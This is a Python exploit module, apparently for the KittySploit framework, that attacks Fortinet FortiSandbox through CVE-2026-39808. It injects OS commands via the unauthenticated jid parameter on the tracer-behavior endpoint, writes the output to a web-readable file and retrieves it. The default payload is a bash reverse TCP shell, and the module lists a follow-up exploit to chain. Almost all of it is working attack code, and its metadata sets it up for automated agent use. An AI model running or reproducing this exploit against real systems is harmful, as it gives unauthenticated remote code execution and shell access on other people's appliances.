Fortinet FortiSandbox CVE-2026-39808 OS command injection

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Fortinet FortiSandbox CVE-2026-39808 tracer-behavior jid command injection."""

import re
from urllib.parse import quote

from kittysploit import *
from lib.exploit.handler import Handler
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client, Handler):
    __info__ = {
        "name": "Fortinet FortiSandbox CVE-2026-39808 OS command injection",
        "description": (
            "CVE-2026-39808 (FortiSandbox 4.4.0–4.4.8): unauthenticated OS command injection "
            "via the jid query parameter on /fortisandbox/job-detail/tracer-behavior. "
            "Output is written to /web/ng/test.txt and retrieved over HTTP."
        ),
        "author": ["c0d3Ninja", "KittySploit Team"],
        "cve": ["CVE-2026-39808"],
        "platform": Platform.LINUX,
        "arch": [Arch.CMD],
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "platform": Platform.UNIX,
            "category": PayloadCategory.CMD,
        },
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2026-39808",
            "https://github.com/gotr00t0day/CVE-2026-39808",
        ],
        "tags": [
            "fortinet",
            "fortisandbox",
            "command-injection",
            "unauthenticated",
            "rce",
            "cve-2026-39808",
        ],
        "agent": {
            "risk": "critical",
            "effects": ["active_exploitation", "remote_code_execution"],
            "expected_requests": 2,
            "reversible": False,
            "approval_required": True,
            "produces": ["exploit_paths", "rce"],
            "requires": {
                "tech_hints_any": ["fortinet", "fortisandbox"],
                "endpoint_pattern_any": ["/fortisandbox/job-detail/tracer-behavior"],
            },
            "chain": {
                "suggested_followups": [
                    "exploits/linux/http/fortinet_fortisandbox_cve_2026_25089_rce",
                ],
            },
        },
    }

    _TRACER_PATH = "/fortisandbox/job-detail/tracer-behavior"
    _OUTPUT_WEB_PATH = "/ng/test.txt"
    _OUTPUT_FS_PATH = "/web/ng/test.txt"

    port = OptPort(443, "FortiSandbox HTTPS port", required=True)
    ssl = OptBool(True, "Use HTTPS", required=False, advanced=True)
    command = OptString("id", "OS command to execute", required=False)

    def _tracer_path(self, command: str) -> str:
        parts = [p for p in str(command or "id").split() if p] or ["id"]
        jid = quote(f"|({'+'.join(parts)}+>{self._OUTPUT_FS_PATH})|", safe="")
        return f"{self._TRACER_PATH}?jid={jid}"

    def _run_cmd(self, command: str) -> str:
        path = self._tracer_path(command)
        scheme = "https" if self.ssl else "http"
        port = int(self.port or (443 if self.ssl else 80))
        host = str(self.target or "")
        if (scheme == "https" and port == 443) or (scheme == "http" and port == 80):
            referer = f"{scheme}://{host}/"
        else:
            referer = f"{scheme}://{host}:{port}/"
        self.http_request(
            method="GET",
            path=path,
            headers={"Referer": referer},
            allow_redirects=True,
        )
        response = self.http_request(method="GET", path=self._OUTPUT_WEB_PATH, allow_redirects=True)
        if not response or int(response.status_code or 0) != 200:
            return ""
        return (response.text or "").strip()

    def check(self):
        token = self.random_text(6)
        body = self._run_cmd(f"echo {token}")
        if token in body:
            return {"vulnerable": True, "reason": "Command output in /ng/test.txt", "confidence": "high"}
        if re.search(r"uid=\d+", body or ""):
            return {"vulnerable": True, "reason": "Shell output observed", "confidence": "high"}
        return {"vulnerable": False, "reason": "No output at /ng/test.txt", "confidence": "medium"}

    def check_execute(self):
        token = self.random_text(6)
        return token in self._run_cmd(f"echo {token}")

    def run(self):
        command = str(self.command or "").strip()
        if not command and getattr(self, "payload", None):
            command = str(self.payload)
        if not command:
            command = "id"
        if not self.check_execute() and not re.search(r"uid=\d+", self._run_cmd(command) or ""):
            self.not_vulnerable()
            return False
        if hasattr(self, "handler_execute") and self.payload and not self.command:
            return self.handler_execute()
        output = self._run_cmd(command)
        print_success(output or "Command dispatched")
        self.set_info(
            severity="critical",
            cve="CVE-2026-39808",
            reason="FortiSandbox jid injection",
            command=command,
            output=(output or "")[:500],
        )
        return True